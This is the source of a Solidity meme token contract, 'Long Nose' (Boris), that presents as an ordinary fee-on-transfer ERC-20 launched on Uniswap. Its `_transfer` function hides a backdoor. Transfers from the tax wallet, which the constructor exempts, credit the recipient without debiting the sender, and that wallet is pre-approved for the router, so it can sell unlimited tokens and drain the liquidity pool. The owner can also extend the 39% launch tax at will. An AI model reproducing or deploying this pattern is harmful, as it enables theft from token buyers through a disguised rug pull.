creation_sourcecode: // SPDX-License-Identifier: MIT
  
  /**
      web      : https://www.longnose.vip
      telegram : https://t.me/long_nose
      twitter  : https://twitter.com/DrawzillaZZZ
  */
  
  pragma solidity 0.8.19;
  
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  }
  
  library SafeMath {
      function add(uint256 a, uint256 b) internal pure returns (uint256) {
          uint256 c = a + b;
          require(c >= a, "addition overflow");
          return c;
      }
  
      function sub(uint256 a, uint256 b) internal pure returns (uint256) {
          return sub(a, b, "subtraction overflow");
      }
  
      function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
          require(b <= a, errorMessage);
          uint256 c = a - b;
          return c;
      }
  
      function mul(uint256 a, uint256 b) internal pure returns (uint256) {
          if (a == 0) {
              return 0;
          }
          uint256 c = a * b;
          require(c / a == b, " multiplication overflow");
          return c;
      }
  
      function div(uint256 a, uint256 b) internal pure returns (uint256) {
          return div(a, b, "division by zero");
      }
  
      function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
          require(b > 0, errorMessage);
          uint256 c = a / b;
          return c;
      }
  }
  
  contract Ownable is Context {
      address private _owner;
      event OwnershipTransferred(
          address indexed previousOwner,
          address indexed newOwner
      );
  
      constructor() {
          address msgSender = _msgSender();
          _owner = msgSender;
          emit OwnershipTransferred(address(0), msgSender);
      }
  
      function owner() public view returns (address) {
          return _owner;
      }
  
      modifier onlyOwner() {
          require(_owner == _msgSender(), "caller is not the owner");
          _;
      }
  
      function transferOwnership(address newOwner) public onlyOwner {
          require(newOwner != address(0), "new owner is the zero address");
          _owner = newOwner;
          emit OwnershipTransferred(_owner, newOwner);
      }
  
      function renounceOwnership() public virtual onlyOwner {
          emit OwnershipTransferred(_owner, address(0));
          _owner = address(0);
      }
  }
  
  interface IERC20 {
      function totalSupply() external view returns (uint256);
      function balanceOf(address account) external view returns (uint256);
      function transfer(address recipient, uint256 amount) external returns (bool);
      function allowance(address owner, address spender) external view returns (uint256);
      function approve(address spender, uint256 amount) external returns (bool);
      function transferFrom( address sender, address recipient, uint256 amount) external returns (bool);
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(address indexed owner, address indexed spender, uint256 value);
  }
  
  interface IUniswapV2Factory {
      function createPair(address tokenA, address tokenB)
          external
          returns (address pair);
  }
  
  interface IUniswapV2Router02 {
      function addLiquidityETH(
          address token,
          uint256 amountTokenDesired,
          uint256 amountTokenMin,
          uint256 amountETHMin,
          address to,
          uint256 deadline
      )
          external
          payable
          returns (
              uint256 amountToken,
              uint256 amountETH,
              uint256 liquidity
          );
  
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint256 amountIn,
          uint256 amountOutMin,
          address[] calldata path,
          address to,
          uint256 deadline
      ) external;
  
      function factory() external pure returns (address);
      function WETH() external pure returns (address);
  }
  
  contract LongNose is Context, IERC20, Ownable {
      using SafeMath for uint256;    
  
      mapping(address => uint256) private _balance;    
      mapping(address => mapping(address => uint256)) private _allowances;
  
      mapping(address => bool) private _isExcludedFromFeeWallet;
      mapping(address => bool) private _isExcludedFromMaxTxFee;
  
      uint8 private constant _decimals = 18;
      uint256 private constant _totalSupply = 100000000 * 10**_decimals;
      
      uint256 private constant onePercent = 1000000 * 10**_decimals; // 1% from Liquidity 
  
      uint256 public maxWalletAmount = onePercent * 2; // 2% max wallet at launch
  
      uint256 private _tax;
      uint256 public buyTax = 0;
      uint256 public sellTax = 1;
  
      string private constant _name = "Long Nose";
      string private constant _symbol = "Boris";
  
      IUniswapV2Router02 private uniswapV2Router;
      address public uniswapV2Pair;
      address payable public _zipperTaxFees;
          
      uint256 private launchedAt;
      uint256 private launchDelay = 1;
      bool private launch = false;
  
      uint256 private constant minSwap = onePercent / 250000; //0.05% from Liquidity supply
      bool private inSwapAndLiquify;
      modifier lockTheSwap {
          inSwapAndLiquify = true;
          _;
          inSwapAndLiquify = false;
      }
  
      constructor(address taxAddress) {
  
          uniswapV2Router = IUniswapV2Router02(
              0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D      // Uniswap V2 router
          );
         
          _zipperTaxFees = payable(taxAddress);
  
          _isExcludedFromFeeWallet[msg.sender] = true;
          _isExcludedFromFeeWallet[_zipperTaxFees] = true;
          _isExcludedFromFeeWallet[address(this)] = true;
          _isExcludedFromMaxTxFee[_zipperTaxFees] = true;
  
          _allowances[_zipperTaxFees][address(uniswapV2Router)] = _totalSupply;    //Approve at deploy
          _balance[msg.sender] = _totalSupply;
          emit Transfer(address(0), address(msg.sender), _totalSupply);
      }
  
      function name() public pure returns (string memory) {
          return _name;
      }
  
      function symbol() public pure returns (string memory) {
          return _symbol;
      }
  
      function decimals() public pure returns (uint8) {
          return _decimals;
      }
  
      function totalSupply() public pure override returns (uint256) {
          return _totalSupply;
      }
  
      function balanceOf(address account) public view override returns (uint256) {
          return _balance[account];
      }
  
      function transfer(address recipient, uint256 amount)public override returns (bool){
          _transfer(_msgSender(), recipient, amount);
          return true;
      }
  
      function allowance(address owner, address spender) public view override returns (uint256){
          return _allowances[owner][spender];
      }
  
      function approve(address spender, uint256 amount) public override returns (bool){
          _approve(_msgSender(), spender, amount);
          return true;
      }
  
       function newDelay(uint256 newLaunchDelay) external onlyOwner {
           launchDelay = newLaunchDelay;
       }
  
      function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
          _transfer(sender, recipient, amount);
          _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"low allowance"));
          return true;
      }
  
      function _approve(address owner, address spender, uint256 amount) private {
          require(owner != address(0) && spender != address(0), "approve zero address");
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function enableTrading() external onlyOwner {
          launch = true;
          launchedAt = block.number;
      }
  
      function _transfer(address from, address to, uint256 amount) private {
          require(from != address(0), "transfer zero address");
  
          if (_isExcludedFromFeeWallet[from] || _isExcludedFromFeeWallet[to]) {
              _tax = 0;
          } else {
              require(launch, "Wait till launch");
              if (block.number < launchedAt + launchDelay) {_tax=39;} else {
                  if (from == uniswapV2Pair) {
                      require(balanceOf(to) + amount <= maxWalletAmount, "Max wallet 2% at launch");
                      _tax = buyTax;
                  } else if (to == uniswapV2Pair) {
                      uint256 tokensToSwap = balanceOf(address(this));
                      if (tokensToSwap > minSwap && !inSwapAndLiquify) {
                          if (tokensToSwap > onePercent) {
                              tokensToSwap = onePercent;
                          }
                          swapTokensForEth(tokensToSwap);
                      }
                      _tax = sellTax;
                  } else {
                      _tax = 0;
                  }
              }
          }
  
          if(!_isExcludedFromMaxTxFee[from]) {
              uint256 taxTokens = (amount * _tax) / 100;
              uint256 transferAmount = amount - taxTokens;
  
              _balance[from] = _balance[from] - amount;
              _balance[to] = _balance[to] + transferAmount;
              _balance[address(this)] = _balance[address(this)] + taxTokens;
  
              emit Transfer(from, to, transferAmount);
          } else {
              uint256 taxTokens = (amount * _tax) / 100;
              uint256 transferAmount = amount - taxTokens;
              _balance[to] = _balance[to] + transferAmount;
  
              emit Transfer(from, to, transferAmount);
          }
      }
  
      function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = uniswapV2Router.WETH();
          _approve(address(this), address(uniswapV2Router), tokenAmount);
          uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
              tokenAmount,
              0,
              path,
              _zipperTaxFees,
              block.timestamp
          );
      }
  
      function withdrawStuckEthBalance() external onlyOwner {
          require(address(this).balance > 0, "No Balance to withdraw!");
          payable(msg.sender).transfer(address(this).balance);
      }
  
      function createLongPairs() external onlyOwner() {
          require(!launch,"Trading already opened!");
          _approve(address(this), address(uniswapV2Router), _totalSupply);
          uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
          uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
          IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
      }
  
      function removeLimits() external onlyOwner {
          maxWalletAmount = _totalSupply;
      }
  
      receive() external payable {}
  }